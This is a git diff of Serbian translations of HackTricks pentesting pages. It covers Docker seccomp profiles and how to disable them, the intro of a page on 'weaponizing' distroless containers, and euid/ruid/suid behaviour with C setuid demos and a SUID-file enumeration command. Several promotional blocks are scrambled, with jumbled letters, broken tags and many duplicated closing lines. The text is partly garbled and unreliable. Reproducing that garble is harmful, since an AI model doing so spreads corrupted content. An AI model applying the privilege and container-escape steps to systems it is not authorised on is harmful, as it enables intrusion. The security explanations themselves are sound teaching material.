Ako želite, na primer, da **zabranite** kontejneru da izvršava neki **syscall** poput `uname`, možete preuzeti podrazumevani profil sa [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) i jednostavno **ukloniti `uname` string sa liste**.\
|
||||
Ako želite da se uverite da **neki binarni program ne radi unutar docker kontejnera**, možete koristiti strace da navedete syscalls koje binarni program koristi i zatim ih zabraniti.\
|
||||
U sledećem primeru otkrivaju se **syscalls** za `uname`:
|
||||
```bash
|
||||
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Ako koristite **Docker samo za pokretanje aplikacije**, možete je **profilisati** pomoću **`strace`** i **samo dozvoliti syscalls** koje aplikacija zahteva.
|
||||
Ako koristite **Docker samo za pokretanje aplikacije**, možete **profilisati** to sa **`strace`** i **samo dozvoliti syscalls** koje su potrebne
|
||||
{% endhint %}
|
||||
|
||||
### Primer Seccomp politike
|
||||
|
||||
[Primer sa ovog linka](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
|
||||
[Primer odavde](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
|
||||
|
||||
Da bismo ilustrovali Seccomp funkcionalnost, kreirajmo Seccomp profil koji onemogućava "chmod" sistemski poziv kako je prikazano ispod.
|
||||
Da ilustrujemo Seccomp funkciju, hajde da kreiramo Seccomp profil koji onemogućava “chmod” sistemski poziv kao u nastavku.
|
||||
```json
|
||||
{
|
||||
"defaultAction": "SCMP_ACT_ALLOW",
|
||||
|
@ -150,34 +159,45 @@ Da bismo ilustrovali Seccomp funkcionalnost, kreirajmo Seccomp profil koji onemo
|
|||
]
|
||||
}
|
||||
```
|
||||
U prethodnom profilu smo postavili podrazumevanu akciju na "dozvoli" i napravili crnu listu da onemogućimo "chmod". Da bismo bili sigurniji, možemo postaviti podrazumevanu akciju na "odbaci" i napraviti belu listu da selektivno omogućimo sistemski poziv.\
|
||||
Sledeći izlaz prikazuje da poziv "chmod" vraća grešku jer je onemogućen u seccomp profilu.
|
||||
U gornjem profilu, postavili smo podrazumevanu akciju na "dozvoli" i kreirali crnu listu da onemogućimo "chmod". Da bismo bili sigurniji, možemo postaviti podrazumevanu akciju na odbacivanje i kreirati belu listu da selektivno omogućimo sistemske pozive.\
|
||||
Sledeći izlaz prikazuje "chmod" poziv koji vraća grešku jer je onemogućen u seccomp profilu.
|
||||
```bash
|
||||
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
|
||||
chmod: /etc/hosts: Operation not permitted
|
||||
```
|
||||
Sledeći izlaz prikazuje "docker inspect" koji prikazuje profil:
|
||||
Следећи излаз показује “docker inspect” који приказује профил:
|
||||
```json
|
||||
"SecurityOpt": [
|
||||
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
|
||||
],
|
||||
```
|
||||
### Isključivanje u Dockeru
|
||||
|
||||
Pokrenite kontejner sa zastavicom: **`--security-opt seccomp=unconfined`**
|
||||
|
||||
Od verzije Kubernetes 1.19, **seccomp je podrazumevano omogućen za sve Podove**. Međutim, podrazumevani seccomp profil koji se primenjuje na Podove je profil "**RuntimeDefault**", koji je **pružen od strane kontejner runtime-a** (npr. Docker, containerd). Profil "RuntimeDefault" dozvoljava većinu sistemskih poziva, ali blokira nekoliko koji se smatraju opasnim ili općenito nisu potrebni za kontejnere.
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,56 +1,64 @@
|
|||
# Oružavanje Distroless
|
||||
# Weaponizing Distroless
|
||||
|
||||
<details>
|
||||
{% hnnt styte=" acceas" %}
|
||||
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
|
||||
Learn & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<dotsilp>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
<oummpr>SupportHackTricks</smmay>
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
*Proverite [**subsrippangithub.cm/sorsarlosp!**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
|
||||
* **Delite trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Šta je Distroless
|
||||
|
||||
Distroless kontejner je vrsta kontejnera koji **sadrži samo neophodne zavisnosti za pokretanje određene aplikacije**, bez dodatnog softvera ili alata koji nisu potrebni. Ovi kontejneri su dizajnirani da budu što **lakši** i **sigurniji** mogući, i cilj im je da **minimiziraju površinu napada** uklanjanjem svih nepotrebnih komponenti.
|
||||
Distroless kontejner je tip kontejnera koji **sadrži samo neophodne zavisnosti za pokretanje specifične aplikacije**, bez dodatnog softvera ili alata koji nisu potrebni. Ovi kontejneri su dizajnirani da budu što **lakši** i **bezbedniji**, i imaju za cilj da **minimizuju površinu napada** uklanjanjem nepotrebnih komponenti.
|
||||
|
||||
Distroless kontejneri se često koriste u **proizvodnim okruženjima gde je sigurnost i pouzdanost od velike važnosti**.
|
||||
Distroless kontejneri se često koriste u **produžnim okruženjima gde su bezbednost i pouzdanost od suštinskog značaja**.
|
||||
|
||||
Neki **primeri** distroless kontejnera su:
|
||||
Neki **primeri** **distroless kontejnera** su:
|
||||
|
||||
* Pruženi od strane **Google-a**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
|
||||
* Pruženi od strane **Chainguard-a**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
|
||||
* Obebedili **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
|
||||
* Obebedili **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
|
||||
|
||||
## Oružavanje Distroless
|
||||
## Weaponizing Distroless
|
||||
|
||||
Cilj oružavanja distroless kontejnera je da se omogući **izvršavanje proizvoljnih binarnih fajlova i payload-ova čak i sa ograničenjima** koja nameće **distroless** (nedostatak uobičajenih binarnih fajlova u sistemu) i takođe zaštite koje se često nalaze u kontejnerima kao što su **samo za čitanje** ili **bez izvršavanja** u `/dev/shm`.
|
||||
Cilj oružavanja distroless kontejnera je da se može **izvršiti proizvoljni binarni kod i payload-ovi čak i sa ograničenjima** koja podrazumeva **distroless** (nedostatak uobičajenih binarnih datoteka u sistemu) i takođe zaštite koje se obično nalaze u kontejnerima kao što su **samo za čitanje** ili **bez izvršavanja** u `/dev/shm`.
|
||||
|
||||
### Kroz memoriju
|
||||
|
||||
Dolazi u nekom trenutku 2023...
|
||||
|
||||
### Putem postojećih binarnih fajlova
|
||||
### Putem postojećih binarnih datoteka
|
||||
|
||||
#### openssl
|
||||
|
||||
****[**U ovom postu,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) objašnjeno je da se binarni fajl **`openssl`** često nalazi u ovim kontejnerima, potencijalno zato što je **potreban** softveru koji će se pokretati unutar kontejnera.
|
||||
****[**U ovom postu,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) objašnjeno je da se binarna datoteka **`openssl`** često nalazi u ovim kontejnerima, potencijalno zato što je **potrebna** softveru koji će se pokretati unutar kontejnera.
|
||||
{% hnt stye="acceas" %}
|
||||
AWS Ha& practice ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
|
||||
Learn & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
|
||||
|
||||
Zloupotrebom binarnog fajla **`openssl`** moguće je **izvršiti proizvoljne stvari**.
|
||||
<dtil>
|
||||
|
||||
<details>
|
||||
<ummr>SupportHackTricks</smmay>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
*Proverite [**subsrippangithub.cm/sorsarlosp!**
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!haktick\_ive\
|
||||
* **Pridružite se 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Delite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,74 +1,77 @@
|
|||
# euid, ruid, suid
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Promenljive za identifikaciju korisnika
|
||||
### User Identification Variables
|
||||
|
||||
- **`ruid`**: **Real user ID** označava korisnika koji je pokrenuo proces.
|
||||
- **`euid`**: Poznat kao **efektivni user ID**, predstavlja korisnički identitet koji sistem koristi da bi utvrdio privilegije procesa. Uglavnom, `euid` odražava `ruid`, osim u slučajevima izvršavanja SetUID binarnih fajlova, gde `euid` preuzima identitet vlasnika fajla, čime se dodeljuju određene operativne dozvole.
|
||||
- **`suid`**: Ovaj **sačuvani user ID** je ključan kada visoko privilegovan proces (obično pokrenut kao root) privremeno mora da odustane od svojih privilegija radi obavljanja određenih zadataka, da bi kasnije povratio svoj početni povišeni status.
|
||||
- **`ruid`**: **stvarni korisnički ID** označava korisnika koji je pokrenuo proces.
|
||||
- **`euid`**: Poznat kao **efektivni korisnički ID**, predstavlja identitet korisnika koji sistem koristi za utvrđivanje privilegija procesa. Generalno, `euid` odražava `ruid`, osim u slučajevima kao što je izvršavanje SetUID binarnog fajla, gde `euid` preuzima identitet vlasnika fajla, čime se dodeljuju specifične operativne dozvole.
|
||||
- **`suid`**: Ovaj **sačuvani korisnički ID** je ključan kada proces sa visokim privilegijama (obično pokrenut kao root) treba privremeno da se odrekne svojih privilegija da bi izvršio određene zadatke, samo da bi kasnije povratio svoj prvobitni povišeni status.
|
||||
|
||||
#### Važna napomena
|
||||
Proces koji ne radi pod root-om može samo da izmeni svoj `euid` da se podudara sa trenutnim `ruid`, `euid` ili `suid`.
|
||||
#### Important Note
|
||||
Proces koji ne radi pod root-om može samo da modifikuje svoj `euid` da odgovara trenutnom `ruid`, `euid` ili `suid`.
|
||||
|
||||
### Razumevanje set*uid funkcija
|
||||
### Understanding set*uid Functions
|
||||
|
||||
- **`setuid`**: Za razliku od prvobitnih pretpostavki, `setuid` pretežno menja `euid`, a ne `ruid`. Konkretno, za privilegovane procese, usklađuje `ruid`, `euid` i `suid` sa određenim korisnikom, često root-om, čime se efektivno utvrđuju ovi ID-ovi zbog preklapanja `suid`. Detaljnije informacije mogu se pronaći na [setuid man stranici](https://man7.org/linux/man-pages/man2/setuid.2.html).
|
||||
- **`setreuid`** i **`setresuid`**: Ove funkcije omogućavaju nijansirano podešavanje `ruid`, `euid` i `suid`. Međutim, njihove mogućnosti zavise od nivoa privilegija procesa. Za procese koji nisu root, izmene su ograničene na trenutne vrednosti `ruid`, `euid` i `suid`. Nasuprot tome, root procesi ili oni sa `CAP_SETUID` mogu dodeliti proizvoljne vrednosti ovim ID-ovima. Više informacija se može pronaći na [setresuid man stranici](https://man7.org/linux/man-pages/man2/setresuid.2.html) i [setreuid man stranici](https://man7.org/linux/man-pages/man2/setreuid.2.html).
|
||||
- **`setuid`**: Suprotno prvobitnim pretpostavkama, `setuid` prvenstveno modifikuje `euid` umesto `ruid`. Konkretno, za privilegovane procese, usklađuje `ruid`, `euid` i `suid` sa određenim korisnikom, često root, efikasno učvršćujući ove ID-ove zbog nadjačavajućeg `suid`. Detaljne informacije mogu se naći na [setuid man stranici](https://man7.org/linux/man-pages/man2/setuid.2.html).
|
||||
- **`setreuid`** i **`setresuid`**: Ove funkcije omogućavaju suptilno podešavanje `ruid`, `euid` i `suid`. Međutim, njihove mogućnosti zavise od nivoa privilegija procesa. Za procese koji nisu root, modifikacije su ograničene na trenutne vrednosti `ruid`, `euid` i `suid`. Nasuprot tome, root procesi ili oni sa `CAP_SETUID` privilegijom mogu dodeliti proizvoljne vrednosti ovim ID-ovima. Više informacija može se dobiti sa [setresuid man stranice](https://man7.org/linux/man-pages/man2/setresuid.2.html) i [setreuid man stranice](https://man7.org/linux/man-pages/man2/setreuid.2.html).
|
||||
|
||||
Ove funkcionalnosti su dizajnirane ne kao mehanizam za bezbednost, već da olakšaju željeni operativni tok, kao što je kada program preuzima identitet drugog korisnika menjanjem svog efektivnog user ID-a.
|
||||
Ove funkcionalnosti nisu dizajnirane kao bezbednosni mehanizam, već da olakšaju predviđeni operativni tok, kao kada program preuzima identitet drugog korisnika menjajući svoj efektivni korisnički ID.
|
||||
|
||||
Važno je napomenuti da, iako je `setuid` često korišćen za povišenje privilegija na root (jer usklađuje sve ID-ove sa root-om), razlikovanje između ovih funkcija je ključno za razumevanje i manipulaciju ponašanjem user ID-ova u različitim scenarijima.
|
||||
Važno je napomenuti da, iako `setuid` može biti uobičajen izbor za podizanje privilegija na root (pošto usklađuje sve ID-ove na root), razlikovanje između ovih funkcija je ključno za razumevanje i manipulaciju ponašanjem korisničkih ID-ova u različitim scenarijima.
|
||||
|
||||
### Mekanizmi izvršavanja programa u Linux-u
|
||||
### Program Execution Mechanisms in Linux
|
||||
|
||||
#### **`execve` sistemski poziv**
|
||||
- **Funkcionalnost**: `execve` pokreće program koji je određen prvom argumentom. Koristi dva niza argumenata, `argv` za argumente i `envp` za okruženje.
|
||||
- **Ponašanje**: Zadržava memorijski prostor pozivaoca, ali osvežava stek, hip i segmente podataka. Kod programa se zamenjuje novim programom.
|
||||
- **Očuvanje korisničkog ID-a**:
|
||||
#### **`execve` System Call**
|
||||
- **Functionality**: `execve` pokreće program, određen prvim argumentom. Prihvaća dva niz argumenta, `argv` za argumente i `envp` za okruženje.
|
||||
- **Behavior**: Zadržava memorijski prostor pozivaoca, ali osvežava stek, heap i podatkovne segmente. Kod programa se zamenjuje novim programom.
|
||||
- **User ID Preservation**:
|
||||
- `ruid`, `euid` i dodatni grupni ID-ovi ostaju nepromenjeni.
|
||||
- `euid` može imati nijansirane promene ako novi program ima postavljen SetUID bit.
|
||||
- `euid` može imati suptilne promene ako novi program ima postavljen SetUID bit.
|
||||
- `suid` se ažurira iz `euid` nakon izvršenja.
|
||||
- **Dokumentacija**: Detaljne informacije mogu se pronaći na [`execve` man stranici](https://man7.org/linux/man-pages/man2/execve.2.html).
|
||||
- **Documentation**: Detaljne informacije mogu se naći na [`execve` man stranici](https://man7.org/linux/man-pages/man2/execve.2.html).
|
||||
|
||||
#### **`system` funkcija**
|
||||
- **Funkcionalnost**: Za razliku od `execve`, `system` kreira dete proces koristeći `fork` i izvršava komandu unutar tog dete procesa koristeći `execl`.
|
||||
- **Izvršavanje komande**: Izvršava komandu putem `sh` sa `execl("/bin/sh", "sh", "-c", command, (char *) NULL);`.
|
||||
- **Ponašanje**: Budući da je `execl` oblik `execve`, funkcioniše slično, ali u kontekstu novog dete procesa.
|
||||
- **Dokumentacija**: Dodatne informacije se mogu dobiti sa [`system` man stranice](https://man7.org/linux/man-pages/man3/system.3.html).
|
||||
#### **`system` Function**
|
||||
- **Functionality**: Za razliku od `execve`, `system` kreira podproces koristeći `fork` i izvršava komandu unutar tog podprocesa koristeći `execl`.
|
||||
- **Command Execution**: Izvršava komandu putem `sh` sa `execl("/bin/sh", "sh", "-c", command, (char *) NULL);`.
|
||||
- **Behavior**: Pošto je `execl` oblik `execve`, funkcioniše slično, ali u kontekstu novog podprocesa.
|
||||
- **Documentation**: Dalje uvide možete dobiti sa [`system` man stranice](https://man7.org/linux/man-pages/man3/system.3.html).
|
||||
|
||||
#### **Ponašanje `bash`-a i `sh`-a sa SUID**
|
||||
#### **Behavior of `bash` and `sh` with SUID**
|
||||
- **`bash`**:
|
||||
- Ima opciju `-p` koja utiče na to kako se tretiraju `euid` i `ruid`.
|
||||
- Bez `-p`, `bash` postavlja `euid` na `ruid` ako se razlikuju na početku.
|
||||
- Sa `-p`, početni `euid` se čuva.
|
||||
- Više detalja se može pronaći na [`bash` man stranici](https://linux.die.net/man/1/bash).
|
||||
- Bez `-p`, `bash` postavlja `euid` na `ruid` ako se prvobitno razlikuju.
|
||||
- Sa `-p`, prvobitni `euid` se čuva.
|
||||
- Više detalja može se naći na [`bash` man stranici](https://linux.die.net/man/1/bash).
|
||||
- **`sh`**:
|
||||
- Nema mehanizam sličan `-p` u `bash`-u.
|
||||
- Ponašanje u vezi sa korisničkim ID-ovima nije eksplicitno navedeno, osim pod opcijom `-i`, koja naglašava očuvanje jednakosti `euid` i `ruid`.
|
||||
- Ne poseduje mehanizam sličan `-p` u `bash`.
|
||||
- Ponašanje u vezi sa korisničkim ID-ovima nije eksplicitno pomenuto, osim pod opcijom `-i`, naglašavajući očuvanje jednakosti `euid` i `ruid`.
|
||||
- Dodatne informacije su dostupne na [`sh` man stranici](https://man7.org/linux/man-pages/man1/sh.1p.html).
|
||||
|
||||
Ovi mehanizmi, različiti u svom radu, pružaju raznovrsne opcije za izvršavanje i prelazak između programa, sa specifičnim nijansama u upravljanju i očuvanju korisničkih ID-ova.
|
||||
Ovi mehanizmi, različiti u svojoj operaciji, nude raznovrsne opcije za izvršavanje i prelazak između programa, sa specifičnim nijansama u načinu na koji se upravlja i čuva korisnički ID.
|
||||
|
||||
### Testiranje ponašanja korisničkih ID-ova pri izvršavanju
|
||||
### Testing User ID Behaviors in Executions
|
||||
|
||||
Primeri preuzeti sa https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail, proverite za dodatne informacije
|
||||
|
||||
#### Slučaj 1: Korišćenje `setuid` sa `system`
|
||||
#### Case 1: Using `setuid` with `system`
|
||||
|
||||
**Cilj**: Razumevanje efekta `setuid` u kombinaciji sa `system` i `bash` kao `sh`.
|
||||
**Objective**: Razumevanje efekta `setuid` u kombinaciji sa `system` i `bash` kao `sh`.
|
||||
|
||||
**C kod**:
|
||||
**C Code**:
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
|
@ -80,17 +83,7 @@ system("id");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
**Kompilacija i dozvole:**
|
||||
|
||||
Kada kompilirate izvorni kod, važno je obratiti pažnju na dozvole datoteka. Ako izvršna datoteka ima postavljenu setuid (suid) dozvolu, ona će se izvršavati sa privilegijama vlasnika datoteke, umesto sa privilegijama korisnika koji je pokrenuo program. Ovo može biti korisno za izvršavanje određenih operacija koje zahtevaju privilegije koje korisnik nema.
|
||||
|
||||
Da biste postavili suid dozvolu na izvršnu datoteku, koristite komandu `chmod u+s ime_datoteke`. Da biste uklonili suid dozvolu, koristite komandu `chmod u-s ime_datoteke`.
|
||||
|
||||
Važno je napomenuti da je suid dozvola potencijalna sigurnosna rupa. Ako se izvršna datoteka sa suid dozvolom može zloupotrebiti, napadač može dobiti privilegije vlasnika datoteke i izvršavati neovlaštene operacije.
|
||||
|
||||
Da biste pronašli izvršne datoteke sa suid dozvolom, možete koristiti komandu `find / -perm -4000 -type f 2>/dev/null`. Ova komanda će pretražiti sistem i prikazati sve izvršne datoteke sa suid dozvolom.
|
||||
|
||||
Kada pronađete izvršnu datoteku sa suid dozvolom, važno je pažljivo proveriti da li postoji bilo kakva sigurnosna rupa koja bi mogla biti iskorišćena. Ako pronađete takvu ranjivost, obavestite odgovorne strane kako bi se problem rešio.
|
||||
**Kompilacija i Dozvole:**
|
||||
```bash
|
||||
oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a;
|
||||
oxdf@hacky$ chmod 4755 /mnt/nfsshare/a
|
||||
|
@ -102,14 +95,14 @@ uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconf
|
|||
```
|
||||
**Analiza:**
|
||||
|
||||
* `ruid` i `euid` počinju kao 99 (nobody) i 1000 (frank) redom.
|
||||
* `setuid` poravnava oba na 1000.
|
||||
* `system` izvršava `/bin/bash -c id` zbog simboličke veze između sh i bash.
|
||||
* `bash`, bez `-p`, prilagođava `euid` da se podudara sa `ruid`, rezultirajući da oba budu 99 (nobody).
|
||||
* `ruid` i `euid` počinju kao 99 (nobody) i 1000 (frank) respektivno.
|
||||
* `setuid` usklađuje oba na 1000.
|
||||
* `system` izvršava `/bin/bash -c id` zbog symlink-a sa sh na bash.
|
||||
* `bash`, bez `-p`, prilagođava `euid` da odgovara `ruid`, što rezultira time da su oba 99 (nobody).
|
||||
|
||||
#### Slučaj 2: Korišćenje setreuid sa sistemom
|
||||
|
||||
**C kod**:
|
||||
**C Kod**:
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
|
@ -121,32 +114,22 @@ system("id");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
**Kompilacija i dozvole:**
|
||||
|
||||
Kada kompilirate izvorni kod, važno je obratiti pažnju na dozvole datoteka. Ako izvršna datoteka ima postavljenu setuid (suid) dozvolu, ona će se izvršavati sa privilegijama vlasnika datoteke, umesto sa privilegijama korisnika koji je pokrenuo program. Ovo može biti korisno za izvršavanje određenih operacija koje zahtevaju privilegije koje korisnik nema.
|
||||
|
||||
